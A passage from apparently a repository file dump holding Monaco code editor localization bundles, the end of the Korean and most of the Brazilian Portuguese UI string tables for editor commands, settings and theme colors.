설정/해제\",\"줄 주석 추가\",\"줄 주석 제거\",\"블록 주석 설정/해제\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"편집기 상황에 맞는 메뉴 표시\"],\"vs/editor/contrib/find/browser/findWidget\":[\"찾기\",\"찾기\",\"이전 검색 결과\",\"다음 검색 결과\",\"선택 항목에서 찾기\",\"닫기\",\"바꾸기\",\"바꾸기\",\"바꾸기\",\"모두 바꾸기\",\"바꾸기 모드 설정/해제\",\"처음 999개의 결과가 강조 표시되지만 모든 찾기 작업은 전체 텍스트에 대해 수행됩니다.\",\"{0}/{1}\",\"결과 없음\"],\"vs/editor/contrib/find/common/findController\":[\"찾기\",\"다음 찾기\",\"이전 찾기\",\"다음 선택 찾기\",\"이전 선택 찾기\",\"바꾸기\",\"다음 일치 항목 찾기에 선택 항목 추가\",\"이전 일치 항목 찾기에 선택 항목 추가\",\"다음 일치 항목 찾기로 마지막 선택 항목 이동\",\"마지막 선택 항목을 이전 일치 항목 찾기로 이동\",\"일치 항목 찾기의 모든 항목 선택\",\"모든 항목 변경\",\"다음 검색어 표시\",\"이전 검색어 표시\"],\"vs/editor/contrib/folding/browser/folding\":[\"펼치기\",\"재귀적으로 펼치기\",\"접기\",\"재귀적으로 접기\",\"모두 접기\",\"모두 펼치기\",\"수준 {0} 접기\"],\"vs/editor/contrib/format/browser/formatActions\":[\"줄 {0}에서 1개 서식 편집을 수행했습니다.\",\"줄 {1}에서 {0}개 서식 편집을 수행했습니다.\",\"줄 {0}과(와) {1} 사이에서 1개 서식 편집을 수행했습니다.\",\"줄 {1}과(와) {2} 사이에서 {0}개 서식 편집을 수행했습니다.\",\"문서 서식\",\"선택 영역 서식\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"'{0}'에 대한 정의를 찾을 수 없습니다.\",\"정의를 찾을 수 없음\",\"– {0} 정의\",\"정의로 이동\",\"측면에서 정의 열기\",\"정의 피킹(Peeking)\",\"'{0}'에 대한 구현을 찾을 수 없습니다.\",\"구현을 찾을 수 없습니다.\",\" – {0} 개 구현\",\"구현으로 이동\",\"구현 미리 보기\",\"'{0}'에 대한 형식 정의를 찾을 수 없습니다.\",\"형식 정의를 찾을 수 없습니다.\",\"– {0} 형식 정의\",\"형식 정의로 이동\",\"형식 정의 미리 보기\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"{0}개 정의를 표시하려면 클릭하세요.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"다음 오류 또는 경고로 이동\",\"이전 오류 또는 경고로 이동\",\"편집기 표식 탐색 위젯 오류 색입니다.\",\"편집기 표식 탐색 위젯 경고 색입니다.\",\"편집기 표식 탐색 위젯 배경입니다.\"],\"vs/editor/contrib/hover/browser/hover\":[\"가리키기 표시\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"로드 중...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"이전 값으로 바꾸기\",\"다음 값으로 바꾸기\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"위에 줄 복사\",\"아래에 줄 복사\",\"줄 위로 이동\",\"줄 아래로 이동\",\"줄을 오름차순 정렬\",\"줄을 내림차순으로 정렬\",\"후행 공백 자르기\",\"줄 삭제\",\"줄 들여쓰기\",\"줄 내어쓰기\",\"위에 줄 삽입\",\"아래에 줄 삽입\",\"왼쪽 모두 삭제\",\"우측에 있는 항목 삭제\",\"줄 연결\",\"커서 주위 문자 바꾸기\",\"대문자로 변환\",\"소문자로 변환\"],\"vs/editor/contrib/links/browser/links\":[\"Cmd 키를 누르고 클릭하여 링크로 이동\",\"Ctrl 키를 누르고 클릭하여 링크로 이동\",\"명령을 실행하려면 Cmd+클릭\",\"명령을 실행하려면 Ctrl+클릭\",\"Alt 키를 누르고 클릭하여 링크로 이동\",\"명령을 실행하려면 Alt+클릭\",\"죄송합니다. 이 링크는 형식이 올바르지 않으므로 열지 못했습니다. {0}\",\"죄송합니다. 대상이 없으므로 이 링크를 열지 못했습니다.\",\"링크 열기\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"위에 커서 추가\",\"아래에 커서 추가\",\"줄 끝에 커서 추가\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"매개 변수 힌트 트리거\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, 힌트\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"수정 사항 표시({0})\",\"수정 사항 표시\",\"빠른 수정\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\"–참조 {0}개\",\"모든 참조 찾기\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"로드 중...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"{2}열, {1}줄, {0}의 기호\",\"{0}의 기호 1개, 전체 경로 {1}\",\"{1}의 기호 {0}개, 전체 경로 {2}\",\"결과 없음\",\"{0}에서 기호 1개를 찾았습니다.\",\"{1}에서 기호 {0}개를 찾았습니다.\",\"{1}개 파일에서 기호 {0}개를 찾았습니다.\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"파일을 확인하지 못했습니다.\",\"참조 {0}개\",\"참조 {0}개\",\"미리 보기를 사용할 수 없음\",\"참조\",\"결과 없음\",\"참조\",\"Peek 뷰 제목 영역의 배경색입니다.\",\"Peek 뷰 제목 색입니다.\",\"Peek 뷰 제목 정보 색입니다.\",\"Peek 뷰 테두리 및 화살표 색입니다.\",\"Peek 뷰 결과 목록의 배경색입니다.\",\"Peek 뷰 결과 목록에서 라인 노드의 전경색입니다.\",\"Peek 뷰 결과 목록에서 파일 노드의 전경색입니다.\",\"Peek 뷰 결과 목록에서 선택된 항목의 배경색입니다.\",\"Peek 뷰 결과 목록에서 선택된 항목의 전경색입니다.\",\"Peek 뷰 편집기의 배경색입니다.\",\"Peek 뷰 편집기의 거터 배경색입니다.\",\"Peek 뷰 결과 목록의 일치 항목 강조 표시 색입니다.\",\"Peek 뷰 편집기의 일치 항목 강조 표시 색입니다.\"],\"vs/editor/contrib/rename/browser/rename\":[\"결과가 없습니다.\",\"'{0}'을(를) '{1}'(으)로 이름을 변경했습니다. 요약: {2}\",\"죄송합니다. 이름 바꾸기를 실행하지 못했습니다.\",\"기호 이름 바꾸기\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"입력 이름을 바꾸세요. 새 이름을 입력한 다음 [Enter] 키를 눌러 커밋하세요.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"선택 확장\",\"선택 축소\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"'{0}'을(를) 적용하여 다음 텍스트가 삽입되었습니다.\\n {1}\",\"제안 항목 트리거\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"제안 위젯의 배경색입니다.\",\"제안 위젯의 테두리 색입니다.\",\"제안 위젯의 전경색입니다.\",\"제한 위젯에서 선택된 항목의 배경색입니다.\",\"제안 위젯의 일치 항목 강조 표시 색입니다.\",\"자세히 알아보기...{0}\",\"{0}, 제안, 세부 정보 있음\",\"{0}, 제안\",\"간단히 보기...{0}\",\"로드 중...\",\"제안 항목이 없습니다.\",\"{0}, 수락됨\",\"{0}, 제안, 세부 정보 있음\",\"{0}, 제안\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"<Tab> 키로 포커스 이동 설정/해제\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"변수 읽기와 같은 읽기 액세스 중 기호의 배경색입니다.\",\"변수에 쓰기와 같은 쓰기 액세스 중 기호의 배경색입니다.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"닫기\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"기본 구성 재정의\",\"{0} 언어에 대해 재정의할 편집기 설정을 구성합니다.\",\"언어에 대해 재정의할 편집기 설정을 구성합니다.\",\"'{0}'을(를) 등록할 수 없습니다. 이는 언어별 편집기 설정을 설명하는 속성 패턴인 '\\\\\\\\[.*\\\\\\\\]$'과(와) 일치합니다. 'configurationDefaults' 기여를 사용하세요.\",\"'{0}'을(를) 등록할 수 없습니다. 이 속성은 이미 등록되어 있습니다.\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"({0})을(를) 눌렀습니다. 둘째 키는 잠시 기다렸다가 누르세요.\",\"키 조합({0}, {1})은 명령이 아닙니다.\"],\"vs/platform/message/common/message\":[\"닫기\",\"나중에\",\"취소\"],\"vs/platform/theme/common/colorRegistry\":[\"잘못된 색 형식입니다. #RGB, #RGBA, #RRGGBB 또는 #RRGGBBAA를 사용하세요.\",\"워크벤치에서 사용되는 색입니다.\",\"전체 전경색입니다. 이 색은 구성 요소에서 재정의하지 않은 경우에만 사용됩니다.\",\"오류 메시지에 대한 전체 전경색입니다. 이 색은 구성 요소에서 재정의하지 않은 경우에만 사용됩니다.\",\"레이블과 같이 추가 정보를 제공하는 설명 텍스트의 전경색입니다.\",\"포커스가 있는 요소의 전체 테두리 색입니다. 이 색은 구성 요소에서 재정의하지 않은 경우에만 사용됩니다.\",\"더 뚜렷이 대비되도록 요소를 다른 요소와 구분하는 요소 주위의 추가 테두리입니다.\",\"더 뚜렷이 대비되도록 요소를 다른 요소와 구분하는 활성 요소 주위의 추가 테두리입니다.\",\"워크벤치의 텍스트 선택(예: 입력 필드 또는 텍스트 영역) 전경색입니다. 편집기 내의 선택에는 적용되지 않습니다.\",\"텍스트 구분자 색상입니다.\",\"텍스트 내 링크의 전경색입니다.\",\"텍스트 내 활성 링크의 전경색입니다.\",\"미리 서식이 지정된 텍스트 세그먼트의 전경색입니다.\",\"텍스트 내 블록 인용의 전경색입니다.\",\"텍스트 내 블록 인용의 테두리 색입니다.\",\"텍스트 내 코드 블록의 전경색입니다.\",\"편집기 내에서 찾기/바꾸기 같은 위젯의 그림자 색입니다.\",\"입력 상자 배경입니다.\",\"입력 상자 전경입니다.\",\"입력 상자 테두리입니다.\",\"입력 필드에서 활성화된 옵션의 테두리 색입니다.\",\"위치 표시자 텍스트에 대한 입력 상자 전경색입니다.\",\"정보 심각도의 입력 유효성 검사 배경색입니다.\",\"정보 심각도의 입력 유효성 검사 테두리 색입니다.\",\"정보 경고의 입력 유효성 검사 배경색입니다.\",\"경고 심각도의 입력 유효성 검사 테두리 색입니다.\",\"오류 심각도의 입력 유효성 검사 배경색입니다.\",\"오류 심각도의 입력 유효성 검사 테두리 색입니다.\",\"드롭다운 배경입니다.\",\"드롭다운 전경입니다.\",\"드롭다운 테두리입니다.\",\"목록/트리가 활성 상태인 경우 포커스가 있는 항목의 목록/트리 배경색입니다. 목록/트리가 활성 상태이면 키보드 포커스를 가지며, 비활성 상태이면 포커스가 없습니다.\",\"목록/트리가 활성 상태인 경우 포커스가 있는 항목의 목록/트리 전경색입니다. 목록/트리가 활성 상태이면 키보드 포커스를 가지며, 비활성 상태이면 포커스가 없습니다.\",\"목록/트리가 활성 상태인 경우 선택한 항목의 목록/트리 배경색입니다. 목록/트리가 활성 상태이면 키보드 포커스를 가지며, 비활성 상태이면 포커스가 없습니다.\",\"목록/트리가 활성 상태인 경우 선택한 항목의 목록/트리 전경색입니다. 목록/트리가 활성 상태이면 키보드 포커스를 가지며, 비활성 상태이면 포커스가 없습니다.\",\"목록/트리가 비활성 상태인 경우 선택한 항목의 목록/트리 배경색입니다. 목록/트리가 활성 상태이면 키보드 포커스를 가지며, 비활성 상태이면 포커스가 없습니다.\",\"목록/트리가 비활성 상태인 경우 선택한 항목의 목록/트리 전경색입니다. 목록/트리가 활성 상태이면 키보드 포커스를 가지며, 비활성 상태이면 포커스가 없습니다.\",\"목록/트리가 비활성 상태인 경우 선택한 항목의 목록/트리 배경색입니다. 목록/트리가 활성 상태이면 키보드 포커스를 가지며, 비활성 상태이면 포커스가 없습니다.\",\"목록/트리가 비활성 상태인 경우 선택한 항목의 목록/트리 전경색입니다. 목록/트리가 활성 상태이면 키보드 포커스를 가지며, 비활성 상태이면 포커스가 없습니다.\",\"마우스로 항목을 가리킬 때 목록/트리 배경입니다.\",\"마우스로 항목을 가리킬 때 목록/트리 전경입니다.\",\"마우스로 항목을 이동할 때 목록/트리 끌어서 놓기 배경입니다.\",\"목록/트리 내에서 검색할 때 일치 항목 강조 표시의 목록/트리 전경색입니다.\",\"그룹화 레이블에 대한 빠른 선택기 색입니다.\",\"그룹화 테두리에 대한 빠른 선택기 색입니다.\",\"단추 기본 전경색입니다.\",\"단추 배경색입니다.\",\"마우스로 가리킬 때 단추 배경색입니다.\",\"배지 배경색입니다. 배지는 검색 결과 수와 같은 소량의 정보 레이블입니다.\",\"배지 전경색입니다. 배지는 검색 결과 수와 같은 소량의 정보 레이블입니다.\",\"스크롤되는 보기를 나타내는 스크롤 막대 그림자입니다.\",\"스크롤 막대 슬라이버 배경색입니다.\",\"마우스로 가리킬 때 스크롤 막대 슬라이더 배경색입니다.\",\"활성 상태일 때 스크롤 막대 슬라이더 배경색입니다.\",\"오래 실행 중인 작업에 대해 표시되는 진행률 표시 막대의 배경색입니다.\",\"편집기 배경색입니다.\",\"편집기 기본 전경색입니다.\",\"찾기/바꾸기 같은 편집기 위젯의 배경색입니다.\",\"편집기 위젯의 테두리 색입니다. 위젯에 테두리가 있고 위젯이 색상을 무시하지 않을 때만 사용됩니다.\",\"편집기 선택 영역의 색입니다.\",\"고대비를 위한 선택 텍스트의 색입니다.\",\"비활성 편집기 선택 영역의 색입니다.\",\"선택 영역과 동일한 콘텐츠가 있는 영역의 색입니다.\",\"현재 검색 일치 항목의 색입니다.\",\"기타 검색 일치 항목의 색입니다.\",\"검색을 제한하는 영역의 색을 지정합니다.\",\"호버가 표시된 단어 아래를 강조 표시합니다.\",\"편집기 호버의 배경색.\",\"편집기 호버의 테두리 색입니다.\",\"활성 링크의 색입니다.\",\"삽입된 텍스트의 배경색입니다.\",\"제거된 텍스트의 배경색입니다.\",\"삽입된 텍스트의 윤곽선 색입니다.\",\"제거된 텍스트의 윤곽선 색입니다.\",\"인라인 병합 충돌의 현재 헤더 배경입니다.\",\"인라인 병합 충돌의 현재 콘텐츠 배경입니다.\",\"인라인 병합 충돌에서 수신 헤더 배경입니다.\",\"인라인 병합 충돌에서 수신 콘텐츠 배경입니다.\",\"인라인 병합 충돌의 공통 과거 헤더 배경입니다.\",\"인라인 병합 충돌의 공통 과거 콘텐츠 배경입니다.\",\"인라인 병합 충돌에서 헤더 및 스플리터의 테두리 색입니다.\",\"인라인 병합 충돌에서 현재 개요 눈금 전경색입니다.\",\"인라인 병합 충돌에서 수신 개요 눈금 전경색입니다.\",\"인라인 병합 충돌에서 공통 과거 개요 눈금 전경색입니다.\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.ko.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.pt-br.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.pt-br\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (ocorreu novamente)\"],\"vs/base/browser/ui/findinput/findInput\":[\"entrada\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"Diferenciar Maiúsculas de Minúsculas\",\"Coincidir Palavra Inteira\",\"Usar Expressão Regular\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Erro: {0}\",\"Aviso: {0}\",\"Informações: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Shift\",\"Alt\",\"Windows\",\"Control\",\"Shift\",\"Alt\",\"Comando\",\"Control\",\"Shift\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"Erro\",\"Aviso\",\"Informações\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, seletor\",\"seletor\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Seletor rápido. Digite para filtrar resultados.\",\"Seletor rápido\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Recolher\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"Não é possível comparar os arquivos pois um deles é muito grande.\"],\"vs/editor/browser/widget/diffReview\":[\"Fechar\",\"Diferença {0} de {1}: original {2}, {3} linhas, modificado {4}, {5} linhas\",\"branco\",\"original {0}, modificados {1}: {2}\",\"+ modificado {0}: {1}\",\"-original {0}: {1}\",\"Ir para a próxima diferença\",\"Ir para a diferença anterior\"],\"vs/editor/common/config/commonEditorConfig\":[\"Editor\",\"Controla a família de fontes.\",\"Controla o peso da fonte.\",\"Controla o tamanho da fonte em pixels.\",\"Controla a altura da linha. Use 0 para computar a altura da linha a partir do tamanho da fonte.\",\"Controla o espaçamento da letra em pixels.\",\"Controla a exibição de números de linha. Valores possíveis são 'on', 'off' e 'relative'. 'relative' mostra a contagem de linhas a partir da posição atual do cursor.\",\"Colunas nas quais mostrar réguas verticais\",\"Caracteres que serão usados como separadores de palavras ao fazer navegação relacionada a palavras ou operações\",\"O número de espaços equivalentes a uma tabulação. Esta configuração é sobreposta no conteúdo do arquivo quando `editor.detectIndentation` está ligado.\",\"Esperado 'número'. Note que o valor \\\"auto\\\" foi alterado pela configuração 'editor.detectIndentation'.\",\"Insere espaços quanto pressionado Tab. Esta configuração é sobrescrita com base no conteúdo do arquivo quando 'editor.detectIndentation' está habilitado.\",\"Esperado 'booleano'. Note que o valor \\\"auto\\\" foi alterado pela configuração 'editor.detectIndentation'.\",\"Quando um arquivo está sendo aberto, 'editor.tabSize' e 'editor.insertSpace' será detectado com base no conteúdo do arquivo.\",\"Controla se as seleções têm cantos arredondados\",\"Controla se o editor rolará além da última linha\",\"Controla se o mini mapa é exibido\",\"Controla se o controle deslizante minimap é oculto automaticamente.\",\"Renderizar os caracteres em uma linha (em oposição a blocos de caracteres)\",\"Limitar o tamanho de um mini-mapa para renderizar no máximo um número determinado de colunas\",\"Controla se nós inicializamos a string de pesquisa na Ferramenta de Pesquisa a partir da seleção do editor\",\"Controla se a configuração Find in Selection deve estar ativada quando vários caracteres ou linhas de texto estão selecionados no editor\",\"As linhas nunca serão quebradas.\",\"As linhas serão quebradas na largura de visualização\",\"As linhas serão quebradas em `editor.wordWrapColumn`.\",\"As linhas serão quebradas no mínimo entre a largura de visualização e `editor.wordWrapColumn`.\",\"Controla como as linhas devem ser quebradas automaticamente. Pode ser:\\n- 'off' (quebra automática de linha desabilitada)\\n- 'on' (quebra automática de linha na largura da janela)\\n- 'wordWrapColumn' (quebra automática no numero de colunas definido em  `editor.wordWrapColumn`) ou\\n- 'bounded' (quebra automática em uma dimensão minima da janela e na largura configurada)\",\"Controla a coluna de quebra de linha do editor quando editor.wordWrap` é 'wordWrapColumn' ou 'bounded'.\",'Controla o recuo de linhas quebradas. Pode ser \"none\", \"same\" ou \"indent\".','Um multiplicador a ser usado em \"deltaX\" e \"deltaY\" dos eventos de rolagem do botão de rolagem do mouse',\"Mapeia para 'Control' no Windows e Linux e 'Command' no OSX.\",\"Mapeia para 'Alt' em Windows e Linux e 'Option' em OSX.\",\"O modificador a ser usado para adicionar vários cursores com o mouse. `ctrlCmd` mapeia 'Control' no Windows e Linux e 'Command' no OSX. Os gestos do mouse Ir para definição e Abrir Link irão adaptar-se tal maneira que eles não entrem em conflito com o modificador multicursor.\",\"Habilitar sugestões rápidas dentro de strings.\",\"Habilitar sugestões rápidas dentro de comentários.\",\"Habilitar sugestões rápidas fora de strings e comentários.\",\"Controlar se sugestões devem aparecer automaticamente ao digitar\",\"Controla o atraso em ms após o qual sugestões rápidas serão exibidas\",\"Habilita pop-up que mostra documentação de parâmetros e o tipo de informação conforme você digita\",\"Controla se o editor deve fechar colchetes automaticamente depois de abri-los\",\"Controla se o editor deve formatar automaticamente a linha após a digitação\",\"Controla se o editor deve formatar automaticamente o conteúdo colado. Um formatador deve estar disponível e o formatador deve ser capaz de formatar apenas uma parte do documento.\",\"Controles se o editor deve ajustar automaticamente o recuo, quando os usuários digitam, colam ou movem linhas. Regras de recuo da língua devem estar disponíveis. \",\"Controla se as sugestões devem aparecer automaticamente ao digitar caracteres de gatilho\",\"Controla se as sugestões devem ser aceitas com 'Enter' - em adição a 'Tab'. Ajuda a evitar a ambiguidade entre a inserção de novas linhas ou aceitar sugestões. O valor 'smart' significa apenas aceitar uma sugestão com Enter quando ela fizer uma mudança textual\",\"Controla se as sugestões devem ser aceitas em caracteres de confirmação. Por exemplo, em JavaScript, o ponto-e-vírgula (';') pode ser um caractere de confirmação que aceita uma sugestão e digita esse caractere.\",\"Mostre sugestões de trecho acima de outras sugestões.\",\"Mostre sugestões de trecho abaixo de outras sugestões.\",\"Mostre sugestões de trechos com outras sugestões.\",\"Não mostre sugestões de trecho.\",\"Controla se os snippets são exibidos juntamente com as outras sugestões e como eles são ordenados.\",\"Controla se a cópia sem nenhuma seleção copia a linha atual.\",\"Controla se o auto-completar deve ser calculado baseado nas palavras no documento.\",\"Tamanho da fonte para a ferramenta de sugestão\",\"Altura de linha para a ferramenta de sugestão\",\"Controla se o editor deve realçar correspondências semelhantes à seleção\",\"Controla se o editor deve realçar ocorrências de símbolos semânticos.\",\"Controla o número de decorações que podem ser exibidas na mesma posição na régua de visão geral\",\"Controla se deve desenhar uma borda ao redor da régua de visão geral.\",\"Controla o estilo de animação do cursor, os valores possíveis são 'blink', 'smooth', 'phase', 'expand' e 'solid'\",\"Alterar o zoom da fonte editor quando utilizada a roda do mouse e pressionando Ctrl\",\"Controla o estilo do cursor, os valores aceitos são 'block', 'block-outline', 'line', 'line-thin', 'underline' e 'underline-thin'\",\"Habilita ligaduras de fontes\",\"Controla se o cursor deve ficar oculto na régua de visão geral.\",\"Controla como o editor deve rendenizar caracteres de espaços em branco, possibilidades são 'none', 'boundary' e 'all'. A opção 'boundary' não rendeniza espaços simples entre palavras.\",\"Controla se o editor deve renderizar caracteres de controle\",\"Controla se o editor deve renderizar guias de identação\",\"Controla como o editor deve renderizar a linha atual, as possibilidades são 'none', 'gutter', 'line' e 'all'.\",\"Controla se o editor exibirá a lente de códigos.\",\"Controla se o editor tem codigo colapsível hablitado\",\"Controla se os controles de desdobramento na divisão são ocultas automaticamente.\",\"Realça colchetes correspondente quando um deles estiver selecionado.\",\"Controla se o editor deve renderizar a margem vertical de ícones. A margem vertical de ícones é usada primordialmente na depuração\",\"Inserção e deleção de espaço em branco seguem a tabulação\",\"Remove espaços em branco inseridos automaticamente no fim da linha\",\"Mantém os editores de visualização abertos mesmo quando clicando seu conteúdo ou teclando Escape.\",\"Controla se o editor deve permitir mover seleções via arrastar e soltar.\",\"O editor irá utilizar a plataforma da API para detectar quando um leitor de tela está conectado.\",\"O editor será permanentemente otimizado para o uso de um leitor de tela.\",\"O editor nunca será otimizado para o uso de um leitor de tela.\",\"Controla quando o editor deve executar em modo otimizado para leitores de tela.\",\"Controla se o editor deve detectar links e torná-los clicáveis\",\"Controla se o editor de diff mostra as diff lado a lado ou inline.\",\"Controla se o editor de diff mostra alterações nos espaços iniciais ou finais como diferenças\",\"Controla se o editor de diff mostra indicadores +/- para alterações adicionadas/removidas\",\"Controla se a área primária de transferência Linux deve ser suportada.\"],\"vs/editor/common/config/editorOptions\":[\"O editor não está acessível neste momento. Por favor pressione Alt+F1 para opções.\",\"Conteúdo do editor\"],\"vs/editor/common/controller/cursor\":[\"Exceção inesperada ao executar o comando.\"],\"vs/editor/common/model/textModelWithTokens\":[\"O modo falhou ao gerar token da entrada.\"],\"vs/editor/common/modes/modesRegistry\":[\"Texto sem formatação\"],\"vs/editor/common/services/bulkEdit\":[\"Estes arquivos foram alterados nesse meio tempo: {0}\",\"Não foram feitas edições\",\"Feitas {0} edições de texto em {1} arquivos\",\"Feitas {0} edições de texto em um arquivo\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}] {1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"Cor de fundo para a posição do cursor  na seleção de linhas.\",\"Cor de fundo para a borda em volta da linha na posição do cursor\",\"Cor de fundo dos ranges selecionados, assim como abertura instantânea e descoberta de recursos \",\"Cor do cursor no editor.\",\"A cor de fundo do cursor do editor. Permite customizar a cor de um caractere sobreposto pelo bloco do cursor.\",\"Cor dos caracteres em branco no editor\",\"Cor das guias de indentação do editor.\",\"Cor dos números de linha do editor.\",\"Cor das réguas do editor.\",\"Cor do primeiro plano das lentes de código do editor\",\"Cor de fundo atrás do colchetes correspondentes\",\"Cor para as caixas de colchetes correspondentes\",\"Cor da borda da régua de visão geral.\",\"Cor de fundo da separação do editor.O separador contém os glifos das margens e os números de linha.\",\"Cor do primeiro plano das linhas onduladas de erro no editor.\",\"Cor da borda das linhas onduladas de erro no editor.\",\"Cor do primeiro plano de linhas onduladas de aviso no editor.\",\"Cor da borda das linhas onduladas de aviso no editor.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Ir para colchete\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"Mover cursor para a esquerda\",\"Mover cursor para a direita\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Transport letras\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Recortar\",\"Copiar\",\"Colar\",\"Copiar com realce de sintaxe\"],\"vs/editor/contrib/comment/common/comment\":[\"Alternar Comentário de Linha\",\"Adicionar Comentário de Linha\",\"Remover Comentário de Linha\",\"Alternar Comentário de Bloco\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Mostrar o menu de contexto do editor\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Localizar\",\"Localizar\",\"Correspondência anterior\",\"Próxima correspondência\",\"Localizar na seleção\",\"Fechar\",\"Substituir\",\"Substituir\",\"Substituir\",\"Substituir Tudo\",\"Ativar/desativar modo Substituir\",\"Somente os primeiros 999 resultados são realçados, mas todas as operações de pesquisa funcionam em todo o texto.\",\"{0} de {1}\",\"Nenhum resultado\"],\"vs/editor/contrib/find/common/findController\":[\"Localizar\",\"Localizar Próximo\",\"Localizar anterior\",\"Localizar Próxima Seleção\",\"Localizar Seleção Anterior\",\"Substituir\",\"Adicionar Seleção ao Próximo Localizar Correspondência\",\"Adicionar Seleção à Correspondência de Localização Anterior\",\"Mover Última Seleção para Próximo Localizar Correspondência\",\"Mover Última Seleção para Correspondência de Localização Anterior\",\"Selecionar Todas as Ocorrências de Localizar Correspondência\",\"Alterar todas as ocorrências\",\"Mostrar Próximo Termo de Busca\",\"Mostrar Termo de Busca Anterior\"],\"vs/editor/contrib/folding/browser/folding\":[\"Abrir\",\"Abrir recursivamente\",\"Colapsar\",\"Colapsar recursivamente\",\"Colapsar tudo\",\"Abrir tudo\",\"Nível de colapsamento {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"1 edição de formatação feita na linha {0}\",\"{0} edições de formatação feitas na linha {1}\",\"Feita 1 edição de formatação entre as linhas {0} e {1}\",\"Feitas {0} edições de formatação entre as linhas {1} e {2}\",\"Formatar Documento\",\"Formatar Seleção\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"Não foi encontrada definição para '{0}'\",\"Nenhuma definição encontrada\",\"- {0} definições\",\"Ir para Definição\",\"Abrir definição ao lado\",\"Inspecionar definição\",\"Nenhuma implementação encontrada para '{0}'\",\"Nenhuma implementação encontrada\",\"– {0} implementações\",\"Ir para a implementação\",\"Inspecionar implementação\",\"Nenhuma definição encontrada para '{0}'\",\"Nenhuma definição de tipo encontrada\",\"– {0} definições de tipos\",\"Ir para a definição de tipo\",\"Inspecionar definição de tipo\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"Clique para mostrar {0} definições.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Ir para o Próximo Erro ou Aviso\",\"Ir para o Erro ou Aviso Anterior\",\"Ferramenta de marcação de edição apresentando error na cor \",\"Ferramenta de marcação de edição apresentando adventência na cor\",\"Cor de fundo da ferramenta de marcação de navegação do editor.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Mostrar Item 